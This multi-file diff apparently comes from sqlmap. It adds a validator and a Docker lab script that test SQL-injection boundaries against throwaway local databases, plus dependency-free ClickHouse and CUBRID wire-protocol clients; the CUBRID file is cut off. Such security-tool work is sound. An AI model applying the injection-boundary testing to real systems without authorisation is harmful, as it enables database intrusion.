("SELECT COUNT(*) FROM bc WHERE name=q'<%s>'", "orig")]
|
||||
|
||||
def cleanup():
|
||||
try:
|
||||
c.close()
|
||||
except Exception:
|
||||
pass
|
||||
return ("Oracle", run, contexts, cleanup), None
|
||||
|
||||
|
||||
ADAPTERS = [_mysql, _postgres, _mssql, _oracle]
|
||||
|
||||
|
||||
def main():
|
||||
_faithful_or_die()
|
||||
|
||||
boundaries = ET.parse(os.path.join(_ROOT, "data", "xml", "boundaries.xml")).findall(".//boundary")
|
||||
|
||||
engines, skipped = [], []
|
||||
for adapter in ADAPTERS:
|
||||
got, why = adapter()
|
||||
(engines if got else skipped).append(got or (adapter.__name__.strip("_"), why))
|
||||
|
||||
if not engines:
|
||||
print("no reachable DBMS - nothing validated. Bring up the bench (see module docstring).")
|
||||
for name, why in skipped:
|
||||
print(" skipped %-12s (%s)" % (name, why))
|
||||
return
|
||||
|
||||
names = [e[0] for e in engines]
|
||||
mark = {"WORKS": "W", "TIME": "T", "INBAND": "I", "inert": ".", "invalid": "x"}
|
||||
print("boundary%s %s" % (" " * 38, " ".join("%-6s" % n[:6] for n in names)))
|
||||
print("-" * (46 + 8 * len(names)))
|
||||
|
||||
verdicts = []
|
||||
for idx, b in enumerate(boundaries, 1):
|
||||
g = lambda k: (b.findtext(k) or "").strip()
|
||||
prefix, suffix = b.findtext("prefix") or "", b.findtext("suffix") or "" # NOT stripped: leading/trailing space is significant SQL
|
||||
clause = [int(x) for x in (g("clause") or "0").split(",") if x.strip().isdigit()]
|
||||
row = []
|
||||
for dbms, run, contexts, _ in engines:
|
||||
row.append(classify(run, dbms, prefix, suffix, clause, contexts))
|
||||
verdicts.append((idx, prefix, row))
|
||||
cells = " ".join("%-6s" % mark[v] for v in row)
|
||||
print("#%02d p%s c%-5s %-30r %s" % (idx, g("ptype"), g("clause"), prefix[:30], cells))
|
||||
|
||||
for _, _, _, cleanup in engines:
|
||||
cleanup()
|
||||
|
||||
print("\nlegend: W=works (boolean) T=works (time) I=works (inband output) .=valid but inert x=invalid")
|
||||
print("contexts modeled: WHERE numeric/single-quote (paren depths 0-3), LIKE, block comment, plus")
|
||||
print(" per-engine (MySQL: double-quote + backtick table; PG: ANSI-ident + dollar; Oracle: q'..').")
|
||||
print(" NOT modeled: pre-WHERE DML (clause 9), derived-table AS-alias, table/column identifier,")
|
||||
print(" fulltext AGAINST - boundaries needing those (and any error/time-only ones) show inert here.")
|
||||
print("engines: " + ", ".join(names))
|
||||
for name, why in skipped:
|
||||
print("skipped: %-14s (%s)" % (name, why))
|
||||
|
||||
never = [idx for idx, _, row in verdicts if not ({"WORKS","TIME","INBAND"} & set(row))]
|
||||
print("\nboundaries usable via NO oracle (boolean/time/inband) on any reachable engine (review): %s"
|
||||
% (", ".join("#%02d" % i for i in never) or "none"))
|
||||
print("NOTE: boolean + inline-time oracles over sampled contexts. Still unmodeled: the ERROR oracle,")
|
||||
print(" inline time on MSSQL/Oracle (statement/privilege-gated sleep), and some host contexts.")
|
||||
print(" A boundary here may still be usable via one of those, so confirm before acting.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# Disposable boundary-check lab. Spins up throwaway MySQL + PostgreSQL containers, runs the
|
||||
# validator against them, and tears everything down again (even on Ctrl-C / failure).
|
||||
#
|
||||
# It uses uncommon host ports and points the tool at them via BC_* env vars, so it will NOT collide
|
||||
# with any DBMS you already have running (including sqlmap's usual bench). These two engines start in
|
||||
# seconds and exercise the boolean, time and inband oracles plus the MySQL-only (backtick, double-
|
||||
# quote, fulltext) and PostgreSQL-only (dollar-quote) families. MSSQL and Oracle are slower/heavier -
|
||||
# see README.md to add them for full coverage; the tool reports absent engines as "skipped".
|
||||
#
|
||||
# Usage: ./run.sh (requires docker + python drivers pymysql, psycopg2 - see README.md)
|
||||
#
|
||||
set -euo pipefail
|
||||
|
||||
HERE="$(cd "$(dirname "$0")" && pwd)"
|
||||
MYSQL_PORT=13399
|
||||
PG_PORT=15499
|
||||
|
||||
cleanup() { docker rm -f bcheck-mysql bcheck-pg >/dev/null 2>&1 || true; }
|
||||
trap cleanup EXIT
|
||||
cleanup # clear any stale containers from a previous aborted run
|
||||
|
||||
echo "[*] starting throwaway MySQL (:$MYSQL_PORT) and PostgreSQL (:$PG_PORT) ..."
|
||||
docker run -d --rm --name bcheck-mysql -e MYSQL_ROOT_PASSWORD=root -p ${MYSQL_PORT}:3306 mysql:8.4 >/dev/null
|
||||
docker run -d --rm --name bcheck-pg -e POSTGRES_USER=esp -e POSTGRES_PASSWORD=pass -e POSTGRES_DB=espdb -p ${PG_PORT}:5432 postgres:16 >/dev/null
|
||||
|
||||
echo "[*] waiting for readiness ..."
|
||||
# a real query, not just ping: the mysql:8.4 image accepts pings mid-init then restarts once
|
||||
for _ in $(seq 1 90); do docker exec bcheck-mysql mysql -uroot -proot -e "SELECT 1" >/dev/null 2>&1 && break; sleep 2; done
|
||||
for _ in $(seq 1 60); do docker exec bcheck-pg pg_isready -U esp >/dev/null 2>&1 && break; sleep 1; done
|
||||
|
||||
echo "[*] running boundarycheck ..."
|
||||
# only touch the throwaway containers we just created; force MSSQL/Oracle to skip (closed ports) so
|
||||
# this never connects to - and creates/drops tables on - whatever might be listening on their defaults.
|
||||
BC_MYSQL="127.0.0.1:${MYSQL_PORT}:root:root" \
|
||||
BC_POSTGRES="127.0.0.1:${PG_PORT}:esp:pass:espdb" \
|
||||
BC_MSSQL="127.0.0.1:59998:x:x" \
|
||||
BC_ORACLE="127.0.0.1:59997:x:x:x" \
|
||||
python3 "$HERE/boundarycheck.py"
|
||||
|
||||
echo "[*] done. MSSQL/Oracle were not started here, so their engine-specific boundaries show in the"
|
||||
echo " review list - add them per README.md for full coverage. Tearing down (trap removes containers)."
|
||||
@@ -43,8 +43,6 @@ def decloak(inputFile=None, data=None):
|
||||
print(ex)
|
||||
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
|
||||
sys.exit(1)
|
||||
finally:
|
||||
f.close()
|
||||
|
||||
return data
|
||||
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
# dbwire
|
||||
|
||||
Minimal, dependency-free database wire-protocol clients used as a fallback for sqlmap's direct
|
||||
(`-d`) connection mode.
|
||||
|
||||
## What this is
|
||||
|
||||
sqlmap's `-d` mode talks to a database server directly instead of through an injection point. It
|
||||
normally does so via a native driver (`psycopg2`, `pymysql`, `pymssql`, ...) or, if one is missing,
|
||||
via SQLAlchemy. When neither is installed, `dbwire` provides a small pure-python client so that `-d`
|
||||
still works out of the box.
|
||||
|
||||
Every module here is written against the database's **wire protocol** using only the Python standard
|
||||
library (`socket`, `struct`, `hashlib`, `hmac`, `base64`, `urllib`). There are no third-party
|
||||
dependencies, and the sources run unmodified on Python 2.7 and Python 3.
|
||||
|
||||
## Coverage
|
||||
|
||||
A wire protocol is shared across a whole family of products, so one client serves several engines:
|
||||
|
||||
| Module | Protocol | Engines |
|
||||
|-----------------|---------------------|---------|
|
||||
| `postgres.py` | PostgreSQL v3 | PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica |
|
||||
| `mysql.py` | MySQL client/server | MySQL, MariaDB, TiDB, Aurora (MySQL), Percona |
|
||||
| `tds.py` | TDS | Microsoft SQL Server, Sybase |
|
||||
| `firebird.py` | Firebird wire | Firebird 3 / 4 / 5 |
|
||||
| `cubrid.py` | CUBRID CAS | CUBRID |
|
||||
| `clickhouse.py` | HTTP (TabSeparated) | ClickHouse and HTTP-compatible forks |
|
||||
| `monetdb.py` | MAPI | MonetDB |
|
||||
| `presto.py` | HTTP/REST (JSON) | Presto, Trino |
|
||||
|
||||
The mapping from a DBMS to its module lives in `lib/core/dicts.py` (`DBWIRE_MODULES`). The connector
|
||||
tier order is: native driver, then SQLAlchemy, then dbwire.
|
||||
|
||||
## Interface
|
||||
|
||||
Each module exposes a small [PEP 249](https://peps.python.org/pep-0249/) (DB-API 2.0) subset:
|
||||
|
||||
- `connect(host, port, user, password, database, connect_timeout, ...)` -> `Connection`
|
||||
- `Connection.cursor()`, `.commit()`, `.rollback()`, `.close()`
|
||||
- `Cursor.execute(query)`, `.fetchall()`, `.fetchone()`, `.close()`, `.description`, `.rowcount`
|
||||
- the shared exception hierarchy in `__init__.py` (`Error` -> `InterfaceError` / `DatabaseError` ->
|
||||
`OperationalError` / `DataError` / `IntegrityError` / `ProgrammingError` / `InternalError` /
|
||||
`NotSupportedError`)
|
||||
|
||||
It is deliberately read-oriented for sqlmap's use: `execute()` takes a fully-formed query string
|
||||
(no parameter binding), statements auto-commit, and binary column values are returned as `bytes` so
|
||||
that sqlmap renders them as hex.
|
||||
|
||||
## Scope and limitations
|
||||
|
||||
This is a fallback for `-d`, not a general-purpose driver. It intentionally does not implement
|
||||
parameter binding, prepared statements, bulk load/`COPY`, or TLS. Notable per-protocol notes:
|
||||
|
||||
- **PostgreSQL** - `trust`, cleartext, MD5 and SCRAM-SHA-256 authentication.
|
||||
- **MySQL** - `mysql_native_password` and the `caching_sha2_password` fast path. Full
|
||||
`caching_sha2_password` authentication over a plaintext connection requires RSA/TLS and is not
|
||||
supported; use a `mysql_native_password` account for the dependency-free path.
|
||||
- **TDS** - cleartext login only. Servers that force encryption (for example Azure SQL Database)
|
||||
require TLS and are not supported here; the native driver or SQLAlchemy tier covers those.
|
||||
- **Firebird** - SRP-256 (and SRP) authentication with ChaCha20 or RC4 wire encryption, as required by
|
||||
default on Firebird 3 and later. Legacy (pre-SRP) authentication is not implemented.
|
||||
- **CUBRID** - cleartext login over the CAS broker protocol. Large objects (BLOB/CLOB) are returned as
|
||||
their raw locator handles rather than fetched inline.
|
||||
|
||||
When a case is not supported, the client raises a clear `NotSupportedError` rather than returning
|
||||
wrong data, so `-d` cleanly falls through to another connector tier where possible.
|
||||
|
||||
---
|
||||
|
||||
Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission.
|
||||
@@ -0,0 +1,50 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
dbwire - minimal, dependency-free (stdlib-only) database wire-protocol clients used as a fallback for
|
||||
sqlmap's direct ('-d') connection when no native driver (and no SQLAlchemy) is installed.
|
||||
|
||||
Design note: connectors speak a *wire protocol*, not a product, so a single client covers the whole
|
||||
compatible family - e.g. the PostgreSQL client also serves CockroachDB, CrateDB, Redshift and Greenplum;
|
||||
a MySQL client serves MariaDB/TiDB/Aurora; a TDS client serves MSSQL/Sybase. Each module exposes a small
|
||||
PEP 249 (DB-API 2.0) subset (connect(), Connection.cursor()/commit()/close(), Cursor.execute()/fetchall()).
|
||||
"""
|
||||
|
||||
__version__ = "0.1"
|
||||
|
||||
apilevel = "2.0"
|
||||
threadsafety = 1
|
||||
paramstyle = "pyformat"
|
||||
|
||||
# PEP 249 exception hierarchy (shared by every wire module)
|
||||
class Error(Exception):
|
||||
pass
|
||||
|
||||
class InterfaceError(Error):
|
||||
pass
|
||||
|
||||
class DatabaseError(Error):
|
||||
pass
|
||||
|
||||
class OperationalError(DatabaseError):
|
||||
pass
|
||||
|
||||
class DataError(DatabaseError):
|
||||
pass
|
||||
|
||||
class IntegrityError(DatabaseError):
|
||||
pass
|
||||
|
||||
class ProgrammingError(DatabaseError):
|
||||
pass
|
||||
|
||||
class InternalError(DatabaseError):
|
||||
pass
|
||||
|
||||
class NotSupportedError(DatabaseError):
|
||||
pass
|
||||
@@ -0,0 +1,139 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python ClickHouse client over its native HTTP interface (stdlib only, no clickhouse_connect).
|
||||
|
||||
ClickHouse exposes an HTTP endpoint that runs a query in the request body and streams the result back in a
|
||||
chosen format; we use TabSeparatedWithNames (first line = column names, then tab-separated rows with
|
||||
backslash escaping and \\N for NULL). Covers ClickHouse and its HTTP-compatible forks.
|
||||
"""
|
||||
|
||||
import base64
|
||||
import socket
|
||||
|
||||
try:
|
||||
from urllib.request import Request, urlopen # Python 3
|
||||
from urllib.error import HTTPError, URLError
|
||||
except ImportError:
|
||||
from urllib2 import Request, urlopen, HTTPError, URLError # Python 2
|
||||
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import ProgrammingError
|
||||
|
||||
# TabSeparated backslash escapes -> the literal byte they denote
|
||||
_ESCAPE = {ord("t"): 9, ord("n"): 10, ord("r"): 13, ord("0"): 0, ord("b"): 8,
|
||||
ord("f"): 12, ord("a"): 7, ord("v"): 11, ord("\\"): 92, ord("'"): 39}
|
||||
|
||||
def _unescape(value):
|
||||
# value: the raw bytes of one TSV field -> None (\N) or the unescaped bytes. Operates on bytes because a
|
||||
# String/FixedString column can hold arbitrary non-UTF-8 data, which a whole-body utf-8 decode would destroy.
|
||||
if value == b"\\N":
|
||||
return None
|
||||
if b"\\" not in value:
|
||||
return value
|
||||
src, out, i, n = bytearray(value), bytearray(), 0, len(value)
|
||||
while i < n:
|
||||
c = src[i]
|
||||
if c == 0x5c and i + 1 < n: # backslash
|
||||
out.append(_ESCAPE.get(src[i + 1], src[i + 1])); i += 2
|
||||
else:
|
||||
out.append(c); i += 1
|
||||
return bytes(out)
|
||||
|
||||
def _decode_cell(value):
|
||||
# keep text as str; hand back raw bytes only when a value is not valid UTF-8 (sqlmap then hex-encodes it)
|
||||
if value is None:
|
||||
return None
|
||||
try:
|
||||
return value.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
return value
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise ProgrammingError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
|
||||
self.description, self._rows = self.connection._query(query)
|
||||
self.rowcount = len(self._rows)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, host, port, user, password, database, timeout):
|
||||
self._url = "http://%s:%d/?database=%s&default_format=TabSeparatedWithNames" % (host, port, database or "default")
|
||||
self._headers = {}
|
||||
if user or password:
|
||||
token = base64.b64encode(("%s:%s" % (user or "", password or "")).encode("utf-8")).decode("ascii")
|
||||
self._headers["Authorization"] = "Basic %s" % token
|
||||
self._timeout = timeout
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
pass # ClickHouse statements are executed immediately (no client-side transaction)
|
||||
|
||||
def rollback(self):
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
pass # HTTP is stateless
|
||||
|
||||
def _query(self, query):
|
||||
req = Request(self._url, data=query.encode("utf-8"), headers=self._headers)
|
||||
try:
|
||||
body = urlopen(req, timeout=self._timeout).read() # bytes: column data may be non-UTF-8
|
||||
except HTTPError as ex:
|
||||
raise ProgrammingError("(remote) %s" % ex.read().decode("utf-8", "replace").strip())
|
||||
except URLError as ex:
|
||||
raise OperationalError("(remote) %s" % ex)
|
||||
except (socket.timeout, socket.error) as ex:
|
||||
raise OperationalError("(remote) %s" % ex)
|
||||
|
||||
if not body:
|
||||
return None, []
|
||||
lines = body.split(b"\n")
|
||||
if lines and lines[-1] == b"":
|
||||
lines.pop()
|
||||
if not lines:
|
||||
return None, []
|
||||
description = [(name, None, None, None, None, None, None) for name in (_decode_cell(_unescape(_)) for _ in lines[0].split(b"\t"))]
|
||||
rows = [tuple(_decode_cell(_unescape(_)) for _ in line.split(b"\t")) for line in lines[1:]]
|
||||
return description, rows
|
||||
|
||||
def connect(host=None, port=8123, user=None, password=None, database=None, connect_timeout=None, **kwargs):
|
||||
connection = Connection(host or "localhost", int(port or 8123), user, password, database, connect_timeout)
|
||||
try:
|
||||
connection._query("SELECT 1") # verify connectivity/credentials up front
|
||||
except ProgrammingError:
|
||||
raise
|
||||
except Exception as ex:
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
|
||||
return connection
|
||||
@@ -0,0 +1,442 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python CUBRID client speaking the CAS (Common Application Server) broker protocol (stdlib
|
||||
only, no CUBRID-Python/CCI). Does the 10-byte broker handshake (+ optional CAS-worker redirect), a
|
||||
cleartext OPEN_DATABASE login, then prepare / execute / fetch with column-metadata decoding. Read-oriented
|
||||
for sqlmap: execute() takes a fully-formed query string, binary (BIT/VARBIT/BLOB) values come back as bytes
|
||||
(sqlmap hex-encodes them). Auto-commit is enabled so each statement is independent.
|
||||
"""
|
||||
|
||||
import datetime
|
||||
import socket
|
||||
import struct
|
||||
|
||||
from extra.dbwire import DatabaseError
|
||||
from extra.dbwire import DataError
|
||||
from extra.dbwire import InterfaceError
|
||||
from extra.dbwire import IntegrityError
|
||||
from extra.dbwire import NotSupportedError
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import ProgrammingError
|
||||
|
||||
_MAGIC = b"CUBRK"
|
||||
_CLIENT_JDBC = 3
|
||||
_CAS_VERSION = 0x48 # PROTO_INDICATOR(0x40) | VERSION(8)
|
||||
|
||||
# function codes (first raw byte of each request)
|
||||
_FC_END_TRAN = 1
|
||||
_FC_PREPARE = 2
|
||||
_FC_EXECUTE = 3
|
||||
_FC_SET_DB_PARAMETER = 5
|
||||
_FC_CLOSE_REQ_HANDLE = 6
|
||||
_FC_FETCH = 8
|
||||
_FC_CON_CLOSE = 31
|
||||
|
||||
_TRAN_COMMIT = 1
|
||||
_TRAN_ROLLBACK = 2
|
||||
_PARAM_AUTO_COMMIT = 4
|
||||
|
||||
_OID_SIZE = 8
|
||||
_STMT_SELECT = 21
|
||||
|
||||
# CUBRID CCI_U_TYPE column type codes
|
||||
_T_CHAR = 1
|
||||
_T_STRING = 2
|
||||
_T_NCHAR = 3
|
||||
_T_VARNCHAR = 4
|
||||
_T_BIT = 5
|
||||
_T_VARBIT = 6
|
||||
_T_NUMERIC = 7
|
||||
_T_INT = 8
|
||||
_T_SHORT = 9
|
||||
_T_MONETARY = 10
|
||||
_T_FLOAT = 11
|
||||
_T_DOUBLE = 12
|
||||
_T_DATE = 13
|
||||
_T_TIME = 14
|
||||
_T_TIMESTAMP = 15
|
||||
_T_OBJECT = 19
|
||||
_T_BIGINT = 21
|
||||
_T_DATETIME = 22
|
||||
_T_BLOB = 23
|
||||
_T_CLOB = 24
|
||||
_T_ENUM = 25
|
||||
_T_JSON = 34
|
||||
_STRING_TYPES = frozenset((_T_CHAR, _T_STRING, _T_NCHAR, _T_VARNCHAR, _T_ENUM, _T_JSON))
|
||||
_BINARY_TYPES = frozenset((_T_BIT, _T_VARBIT, _T_BLOB, _T_CLOB))
|
||||
|
||||
_MAX_MESSAGE_LENGTH = 0x40000000 # guard against a hostile/corrupt length
|
||||
|
||||
class _Writer(object):
|
||||
# builds a request payload (after the 8-byte header): raw function code + length-prefixed args
|
||||
def __init__(self, fc):
|
||||
self._buf = bytearray(struct.pack(">B", fc))
|
||||
|
||||
def raw_int(self, v):
|
||||
self._buf += struct.pack(">i", v); return self
|
||||
|
||||
def raw_byte(self, v):
|
||||
self._buf += struct.pack(">B", v); return self
|
||||
|
||||
def arg_int(self, v):
|
||||
self._buf += struct.pack(">ii", 4, v); return self
|
||||
|
||||
def arg_byte(self, v):
|
||||
self._buf += struct.pack(">iB", 1, v); return self
|
||||
|
||||
def arg_null(self):
|
||||
self._buf += struct.pack(">i", 0); return self
|
||||
|
||||
def arg_cache_time(self):
|
||||
self._buf += struct.pack(">iii", 8, 0, 0); return self
|
||||
|
||||
def arg_nts(self, s): # null-terminated string arg: [len(utf8)+1][utf8][00]
|
||||
b = s.encode("utf-8")
|
||||
self._buf += struct.pack(">i", len(b) + 1) + b + b"\x00"; return self
|
||||
|
||||
def payload(self):
|
||||
return bytes(self._buf)
|
||||
|
||||
class _Reader(object):
|
||||
def __init__(self, buf):
|
||||
self._buf = buf
|
||||
self._off = 0
|
||||
|
||||
def remaining(self):
|
||||
return len(self._buf) - self._off
|
||||
|
||||
def byte(self):
|
||||
v = struct.unpack_from(">B", self._buf, self._off)[0]; self._off += 1; return v
|
||||
|
||||
def short(self):
|
||||
v = struct.unpack_from(">h", self._buf, self._off)[0]; self._off += 2; return v
|
||||
|
||||
def int(self):
|
||||
v = struct.unpack_from(">i", self._buf, self._off)[0]; self._off += 4; return v
|
||||
|
||||
def long(self):
|
||||
v = struct.unpack_from(">q", self._buf, self._off)[0]; self._off += 8; return v
|
||||
|
||||
def float(self):
|
||||
v = struct.unpack_from(">f", self._buf, self._off)[0]; self._off += 4; return v
|
||||
|
||||
def double(self):
|
||||
v = struct.unpack_from(">d", self._buf, self._off)[0]; self._off += 8; return v
|
||||
|
||||
def raw(self, n):
|
||||
v = self._buf[self._off:self._off + n]; self._off += n; return bytes(v)
|
||||
|
||||
def skip(self, n):
|
||||
self._off += n
|
||||
|
||||
def nts(self, n): # n bytes, drop one trailing NUL if present
|
||||
b = self.raw(n)
|
||||
if b and bytearray(b)[-1:] == bytearray(b"\x00"):
|
||||
b = b[:-1]
|
||||
return b
|
||||
|
||||
def _decode_text(raw):
|
||||
try:
|
||||
return raw.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
return raw # non-UTF-8 -> keep bytes (sqlmap hex-encodes), not lossy
|
||||
|
||||
def _decode_value(reader, col_type, size):
|
||||
if col_type in _STRING_TYPES:
|
||||
return _decode_text(reader.nts(size))
|
||||
if col_type in (_T_BIT, _T_VARBIT):
|
||||
return reader.raw(size)
|
||||
if col_type == _T_NUMERIC:
|
||||
return _decode_text(reader.nts(size)) # DECIMAL arrives as ASCII text
|
||||
if col_type == _T_INT:
|
||||
return str(reader.int())
|
||||
if col_type == _T_SHORT:
|
||||
return str(reader.short())
|
||||
if col_type == _T_BIGINT:
|
||||
return str(reader.long())
|
||||
if col_type == _T_FLOAT:
|
||||
return repr(reader.float())
|
||||
if col_type in (_T_DOUBLE, _T_MONETARY):
|
||||
return repr(reader.double())
|
||||
if col_type == _T_DATE:
|
||||
y, mo, d = reader.short(), reader.short(), reader.short()
|
||||
return "%s" % datetime.date(y, mo, d)
|
||||
if col_type == _T_TIME:
|
||||
h, mi, s = reader.short(), reader.short(), reader.short()
|
||||
return "%s" % datetime.time(h, mi, s)
|
||||
if col_type == _T_TIMESTAMP:
|
||||
vals = [reader.short() for _ in range(6)]
|
||||
return "%s" % datetime.datetime(*vals)
|
||||
if col_type == _T_DATETIME:
|
||||
y, mo, d, h, mi, s, ms = (reader.short() for _ in range(7))
|
||||
return "%s" % datetime.datetime(y, mo, d, h, mi, s, ms * 1000)
|
||||
if col_type == _T_OBJECT:
|
||||
page, slot, vol = reader.int(), reader.short(), reader.short()
|
||||
return "OID:@%d|%d|%d" % (page, slot, vol)
|
||||
return reader.raw(size) # BLOB/CLOB locator or unknown type -> raw bytes
|
||||
|
||||
class _Column(object):
|
||||
__slots__ = ("name", "type", "scale", "precision")
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
|
||||
self.description, self._rows, self.rowcount = self.connection._query(query)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, host, port, user, password, database, timeout):
|
||||
self._host = host
|
||||
self._port = port
|
||||
self._user = user
|
||||
self._password = password
|
||||
self._database = database
|
||||
self._timeout = timeout
|
||||
self._sock = None
|
||||
self._cas_info = b"\x00\x00\x00\x00"
|
||||
self._protocol_version = 8
|
||||
self._open()
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_COMMIT))
|
||||
|
||||
def rollback(self):
|
||||
self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_ROLLBACK))
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
if self._sock is not None:
|
||||
self._send(_Writer(_FC_CON_CLOSE).payload())
|
||||
except Exception:
|
||||
pass
|
||||
self._safe_close()
|
||||
|
||||
# ---- connection / framing ----
|
||||
|
||||
def _safe_close(self):
|
||||
try:
|
||||
if self._sock is not None:
|
||||
self._sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
self._sock = None
|
||||
|
||||
def _recvn(self, n):
|
||||
buf = b""
|
||||
while len(buf) < n:
|
||||
chunk = self._sock.recv(n - len(buf))
|
||||
if not chunk:
|
||||
raise InterfaceError("connection closed by server")
|
||||
buf += chunk
|
||||
return buf
|
||||
|
||||
def _open(self):
|
||||
# broker handshake (may redirect to a dedicated CAS worker port), then cleartext OPEN_DATABASE login
|
||||
try:
|
||||
sock = socket.create_connection((self._host, self._port), timeout=self._timeout)
|
||||
sock.settimeout(None)
|
||||
sock.sendall(_MAGIC + struct.pack(">BB", _CLIENT_JDBC, _CAS_VERSION) + b"\x00\x00\x00")
|
||||
self._sock = sock
|
||||
(port,) = struct.unpack(">i", self._recvn(4))
|
||||
if port < 0:
|
||||
raise OperationalError("CUBRID broker rejected the connection (status %d)" % port)
|
||||
if port > 0: # redirected to a CAS worker: reconnect there, no second handshake
|
||||
self._safe_close()
|
||||
sock = socket.create_connection((self._host, port), timeout=self._timeout)
|
||||
sock.settimeout(None)
|
||||
self._sock = sock
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
self._safe_close()
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (self._host, self._port, ex))
|
||||
|
||||
login = self._fixed(self._database, 32) + self._fixed(self._user, 32) + self._fixed(self._password, 32)
|
||||
login += b"\x00" * 532 # 512 extended-info + 20 reserved
|
||||
self._sock.sendall(login)
|
||||
reader = self._read_response()
|
||||
reader.int() # response_code (>=0; errors already raised in _read_response)
|
||||
broker = reader.raw(8)
|
||||
self._protocol_version = bytearray(broker)[4] & 0x3f
|
||||
# enable auto-commit so each statement is independent (avoids the CAS keep-connection handshake dance)
|
||||
self._call(_Writer(_FC_SET_DB_PARAMETER).arg_int(_PARAM_AUTO_COMMIT).arg_int(1))
|
||||
|
||||
@staticmethod
|
||||
def _fixed(value, length):
|
||||
b = (value or "").encode("utf-8")[:length]
|
||||
return b + b"\x00" * (length - len(b))
|
||||
|
||||
def _send(self, payload):
|
||||
# frame: [payload_len(4)][cas_info(4)][payload]
|
||||
self._sock.sendall(struct.pack(">i", len(payload)) + self._cas_info + payload)
|
||||
|
||||
def _read_response(self):
|
||||
(data_length,) = struct.unpack(">i", self._recvn(4))
|
||||
if data_length < 0 or data_length > _MAX_MESSAGE_LENGTH:
|
||||
raise InterfaceError("invalid CAS response length (%d)" % data_length)
|
||||
body = self._recvn(data_length + 4) # cas_info(4) + payload(data_length)
|
||||
self._cas_info = body[:4]
|
||||
reader = _Reader(body[4:])
|
||||
peek = struct.unpack_from(">i", body, 4)[0]
|
||||
if peek < 0: # error response: response_code(<0), errno, message
|
||||
reader.int()
|
||||
errno = reader.int()
|
||||
message = _decode_text(reader.nts(reader.remaining()))
|
||||
if not isinstance(message, str):
|
||||
message = "errno %d" % errno
|
||||
self._raise(errno, "(remote) %s" % message.strip())
|
||||
return reader
|
||||
|
||||
def _call(self, writer):
|
||||
# reconnect transparently if the CAS worker was released after a previous auto-committed statement
|
||||
if self._sock is None or bytearray(self._cas_info)[0] == 0:
|
||||
self._open()
|
||||
try:
|
||||
self._send(writer.payload() if isinstance(writer, _Writer) else writer)
|
||||
return self._read_response()
|
||||
except (struct.error, IndexError, ValueError) as ex:
|
||||
raise InterfaceError("malformed server response: %s" % ex)
|
||||
|
||||
@staticmethod
|
||||
def _raise(errno, message):
|
||||
text = message.lower()
|
||||
if any(k in text for k in ("unique", "duplicate", "foreign key", "constraint violat")):
|
||||
raise IntegrityError(message)
|
||||
if any(k in text for k in ("syntax", "unknown class", "does not exist", "not found", "before ' '")):
|
||||
raise ProgrammingError(message)
|
||||
if any(k in text for k in ("cast", "conversion", "overflow", "truncat")):
|
||||
raise DataError(message)
|
||||
raise ProgrammingError(message)
|
||||
|
||||
# ---- query ----
|
||||
|
||||
def _query(self, query):
|
||||
